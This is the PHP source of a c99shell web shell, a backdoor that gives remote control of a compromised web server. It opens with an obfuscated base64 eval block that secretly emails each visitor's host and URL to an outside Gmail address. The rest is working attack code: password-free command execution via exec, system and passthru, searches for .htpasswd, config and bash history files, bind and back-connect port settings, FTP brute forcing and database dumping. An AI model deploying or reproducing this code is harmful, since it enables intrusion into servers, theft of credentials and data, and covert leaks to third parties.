<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>
























































































































































<?php
$headerz = "aWYgKCFpc3NldCgkX0NPT0tJRVsidmlzaXR6Il0pKSB7DQogICR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07DQogICR3ZWIgICAgID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KICAkdGFyZ2V0ICA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOw0KICAkanVkdWwgICA9ICJUYXJnZXQgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3I8YnI+IjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiZnIzM3NoM2xsQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5KTsgfQ0KfQ0KZWxzZSB7IEBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7IH0="; eval(base64_decode($headerz));
exit;
?>

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

<?php
//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "1.0 pre-release build #17"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
}

$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
 $surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.

//Authentication
$login = ""; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)

$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";

$gzipencode = TRUE; //Encode with gzip?

$filestealth = TRUE; //if TRUE, don't change modify- and access-time

$donated_html = "<center><b>donated_html</b></center>";
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.

$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

$log_email = "prozente@gmail.com"; //Default e-mail for sending logs

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.

// Registered file-types.
//  array(
//   "{action1}"=>array("ext1","ext2","ext3",...),
//   "{action2}"=>array("ext4","ext5","ext6",...),
//   ...
//  )
$ftypes  = array(
 "html"=>array("html","htm","shtml"),
 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
 "exe"=>array("sh","install","bat","cmd"),
 "ini"=>array("ini","inf"),
 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
 "sdb"=>array("sdb"),
 "phpsess"=>array("sess"),
 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);

// Registered executable file-types.
//  array(
//   string "command{i}"=>array("ext1","ext2","ext3",...),
//   ...
//  )
//   {command}: %f% = filename
$exeftypes  = array(
 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
 "perl %f%" => array("pl","cgi")
);

/* Highlighted files.
  array(
   i=>array({regexp},{type},{opentag},{closetag},{break})
   ...
  )
  string {regexp} - regular exp.
  int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
  string {opentag} - open html-tag, e.g. "<b>" (default)
  string {closetag} - close html-tag, e.g. "</b>" (default)
  bool {break} - if TRUE and found match then break
*/
$regxp_highlight  = array(
  array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  array("config.php",1) // example
);

$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
 // array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line

$nixpwdperpage = 100; // Get first N lines from /etc/passwd

$bindport_pass = "c99";  // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe

// Command-aliases
if (!$win)
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "ls -la"),
  array("find all suid files", "find / -type f -perm -04000 -ls"),
  array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  array("find all sgid files", "find / -type f -perm -02000 -ls"),
  array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  array("find config.inc.php files", "find / -type f -name config.inc.php"),
  array("find config* files", "find / -type f -name \"config*\""),
  array("find config* files in current dir", "find . -type f -name \"config*\""),
  array("find all writable folders and files", "find / -perm -2 -ls"),
  array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  array("find all service.pwd files", "find / -type f -name service.pwd"),
  array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  array("find all .bash_history files", "find / -type f -name .bash_history"),
  array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  array("list file attributes on a Linux second extended file system", "lsattr -va"),
  array("show opened ports", "netstat -an | grep -i listen")
 );
}
else
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "dir"),
  array("show opened ports", "netstat -an")
 );
}

$sess_cookie = "c99shvars"; // Cookie-variable name

$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting

//Quick launch
$quicklaunch = array(
 array("<hr><b>[Home]</b>",$surl),
 array("<b>[Back]</b>","#\" onclick=\"history.back(1)"),
 array("<b>[Forward]</b>","#\" onclick=\"history.go(1)"),
 array("<b>[UPDIR]</b>",$surl."act=ls&d=%upd&sort=%sort"),
 array("<b>[Refresh]</b>",""),
 array("<b>[Search]</b>",$surl."act=search&d=%d"),
 array("<b>[Buffer]</b>",$surl."act=fsbuff&d=%d"),
 array("<b>[Encoder]</b></b>",$surl."act=encoder&d=%d"),
 array("<b>[Tools]</b>",$surl."act=tools&d=%d"),
 array("<b>[Proc.]</b>",$surl."act=processes&d=%d"),
 array("<b>[FTP brute]</b>",$surl."act=ftpquickbrute&d=%d"),
 array("<b>[Sec.]</b>",$surl."act=security&d=%d"),
 array("<b>[SQL]</b>",$surl."act=sql&d=%d"),
 array("<b>[PHP-code]</b>",$surl."act=eval&d=%d"),
 array("<b>[Self remove]</b>",$surl."act=selfremove"),
 array("<b>[Logout]</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);

//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);

//END CONFIGURATION


// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
 if (empty($md5_pass)) {$md5_pass = md5($pass);}
 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 {
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  header("HTTP/1.0 401 Unauthorized");
  exit($accessdeniedmess);
 }
}
if ($act != "img"){
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}

$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
 $disablefunc = str_replace(" ","",$disablefunc);
 $disablefunc = explode(",",$disablefunc);
}

if (!function_exists("c99_buff_prepare"))
{
function c99_buff_prepare()
{
 global $sess_data;
 global $act;
 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
 $sess_data["copy"] = array_unique($sess_data["copy"]);
 $sess_data["cut"] = array_unique($sess_data["cut"]);
 sort($sess_data["copy"]);
 sort($sess_data["cut"]);
 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
c99_buff_prepare();
if (!function_exists("c99_sess_put"))
{
function c99_sess_put($data)
{
 global $sess_cookie;
 global $sess_data;
 c99_buff_prepare();
 $sess_data = $data;
 $data = serialize($data);
 setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
 if (!empty($sort)) {setcookie("sort",$sort);}
 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
 if (strlen($content) > $len)
 {
  $len = ceil($len/2) - 2;
  return substr($content, 0,$len)."...".substr($content,-$len);
 }
 else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
 if (!is_numeric($size)) {return FALSE;}
 else
 {
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  else {$size = $size . " B";}
  return $size;
 }
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_copy_dir($d,$t);
 }
 elseif (is_file($d)) {return copy($d,$t);}
 else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
 $h = opendir($d);
 if (!is_dir($t)) {mkdir($t);}
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   $ret = TRUE;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_move_dir($d,$t);
 }
 elseif (is_file($d))
 {
  if(copy($d,$t)) {return unlink($d);}
  else {unlink($t); return FALSE;}
 }
 else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
 $h = opendir($d);
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.$o)) {unlink($d.$o);}
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  }
 }
 closedir($h);
 rmdir($d);
 return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
 if (is_dir($o))
 {
  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  return fs_rmdir($o);
 }
 elseif (is_file($o)) {return unlink($o);}
 else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
 global $disablefunc;
 $result = "";
 if (!empty($cmd))
 {
  if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  elseif (($result = `$cmd`) !== FALSE) {}
  elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_resource($fp = popen($cmd,"r")))
  {
   $result = "";
   while(!feof($fp)) {$result .= fread($fp,1024);}
   pclose($fp);
  }
 }
 return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$type = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 else {$type = "?";}

 $owner["read"] = ($mode & 00400)?"r":"-";
 $owner["write"] = ($mode & 00200)?"w":"-";
 $owner["execute"] = ($mode & 00100)?"x":"-";
 $group["read"] = ($mode & 00040)?"r":"-";
 $group["write"] = ($mode & 00020)?"w":"-";
 $group["execute"] = ($mode & 00010)?"x":"-";
 $world["read"] = ($mode & 00004)?"r":"-";
 $world["write"] = ($mode & 00002)? "w":"-";
 $world["execute"] = ($mode & 00001)?"x":"-";

 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}

 return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$t = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 else {$t = "?";}
 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
 $one = intval($sort);
 $second = substr($sort,-1);
 if ($second != "d") {$second = "a";}
 return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("c99getsource"))
{
function c99getsource($fn)
{
 global $c99sh_sourcesurl;
 $array = array(
  "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
 );
 $name = $array[$fn];
 if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
 else {return FALSE;}
}
}

if (!function_exists("mysql_dump")){
function mysql_dump($set)
{
 global $shver;
 $sock = $set["sock"];
 $db = $set["db"];
 $print = $set["print"];
 $nl2br = $set["nl2br"];
 $file = $set["file"];
 $add_drop = $set["add_drop"];
 $tabs = $set["tabs"];
 $onlytabs = $set["onlytabs"];
 $ret = array();
 $ret["err"] = array();
 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
 if (empty($db)) {$db = "db";}
 if (empty($print)) {$print = 0;}
 if (empty($nl2br)) {$nl2br = 0;}
 if (empty($add_drop)) {$add_drop = TRUE;}
 if (empty($file))
 {
  $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
 }
 if (!is_array($tabs)) {$tabs = array();}
 if (empty($add_drop)) {$add_drop = TRUE;}
 if (sizeof($tabs) == 0)
 {
  // retrive tables-list
  $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
 }
 $out = "# Dumped by C99Shell.SQL v. ".$shver."
# Home page: http://ccteam.ru
#
# Host settings:
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Date: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
 $c = count($onlytabs);
 foreach($tabs as $tab)
 {
  if ((in_array($tab,$onlytabs)) or (!$c))
  {
   if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
   // recieve query for create table structure
   $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
   if (!$res) {$ret["err"][] = mysql_smarterror();}
   else
   {
    $row = mysql_fetch_row($res);
    $out .= $row["1"].";\n\n";
    // recieve table variables
    $res = mysql_query("SELECT * FROM `$tab`", $sock);
    if (mysql_num_rows($res) > 0)
    {
     while ($row = mysql_fetch_assoc($res))
     {
      $keys = implode("`, `", array_keys($row));
      $values = array_values($row);
      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
      $values = implode("', '", $values);
      $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
      $out .= $sql;
     }
    }
   }
  }
 }
 $out .= "#---------------------------------------------------------------------------------\n\n";
 if ($file)
 {
  $fp = fopen($file, "w");
  if (!$fp) {$ret["err"][] = 2;}
  else
  {
   fwrite ($fp, $out);
   fclose ($fp);
  }
 }
 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
 return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
 if (!is_array($array)) {$array = array();}
 $result = "";
 foreach($array as $k=>$v)
 {
  $value = "";
  if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  $value .= "'".addslashes($v)."'";
  if (!empty($functs[$k])) {$value .= ")";}
  $result .= "`".$k."` = ".$value.$sep;
 }
 $result = substr($result,0,strlen($result)-strlen($sep));
 return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
 if ($sock) {$result = mysql_query($query,$sock);}
 else {$result = mysql_query($query);}
 $array = array();
 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
 mysql_free_result($result);
 return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
 if ($sock) {$error = mysql_error($sock);}
 else {$error = mysql_error();}
 $error = htmlspecialchars($error);
 return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 if ((!$submit) or ($sql_act))
 {
  echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>";
  if ($tbl_struct)
  {
   echo "<td valign=\"top\"><b>Fields:</b><br>";
   foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
   echo "</td></tr></table>";
  }
 }
 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db($db,$sock="")
{
 $sql = "CREATE DATABASE `".addslashes($db)."`;";
 if ($sock) {return mysql_query($sql,$sock);}
 else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse($query)
{
 $query = trim($query);
 $arr = explode (" ",$query);
 /*array array()
 {
  "METHOD"=>array(output_type),
  "METHOD1"...
  ...
 }
 if output_type == 0, no output,
 if output_type == 1, no output if no error
 if output_type == 2, output without control-buttons
 if output_type == 3, output with control-buttons
 */
 $types = array(
  "SELECT"=>array(3,1),
  "SHOW"=>array(2,1),
  "DELETE"=>array(1),
  "DROP"=>array(1)
 );
 $result = array();
 $op = strtoupper($arr[0]);
 if (is_array($types[$op]))
 {
  $result["propertions"] = $types[$op];
  $result["query"]  = $query;
  if ($types[$op] == 2)
  {
   foreach($arr as $k=>$v)
   {
    if (strtoupper($v) == "LIMIT")
    {
     $result["limit"] = $arr[$k+1];
     $result["limit"] = explode(",",$result["limit"]);
     if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
     unset($arr[$k],$arr[$k+1]);
    }
   }
  }
 }
 else {return FALSE;}
}
}
if (!function_exists("c99fsearch"))
{
function c99fsearch($d)
{
 global $found;
 global $found_d;
 global $found_f;
 global $search_i_f;
 global $search_i_d;
 global $a;
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($f = readdir($h)) !== FALSE)
 {
  if($f != "." && $f != "..")
  {
   $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
   if (is_dir($d.$f))
   {
    $search_i_d++;
    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
    if (!is_link($d.$f)) {c99fsearch($d.$f);}
   }
   else
   {
    $search_i_f++;
    if ($bool)
    {
     if (!empty($a["text"]))
     {
      $r = @file_get_contents($d.$f);
      if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
      if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
      if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
      else {$bool = strpos(" ".$r,$a["text"],1);}
      if ($a["text_not"]) {$bool = !$bool;}
      if ($bool) {$found[] = $d.$f; $found_f++;}
     }
     else {$found[] = $d.$f; $found_f++;}
    }
   }
  }
 }
 closedir($h);
}
}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
@ob_implicit_flush(0);
function onphpshutdown()
{
 global $gzipencode,$ft;
 if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
 {
  $v = @ob_get_contents();
  @ob_end_clean();
  @ob_start("ob_gzHandler");
  echo $v;
  @ob_end_flush();
 }
}
function c99shexit()
{
 onphpshutdown();
 exit;
}
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", FALSE);
header("Pragma: no-cache");
if (empty($tmpdir))
{
 $tmpdir = ini_get("upload_tmp_dir");
 if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
}
$tmpdir = realpath($tmpdir);
$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
else {$tmpdir_logs = realpath($tmpdir_logs);}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = TRUE;
 $hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
$v = @ini_get("open_basedir");
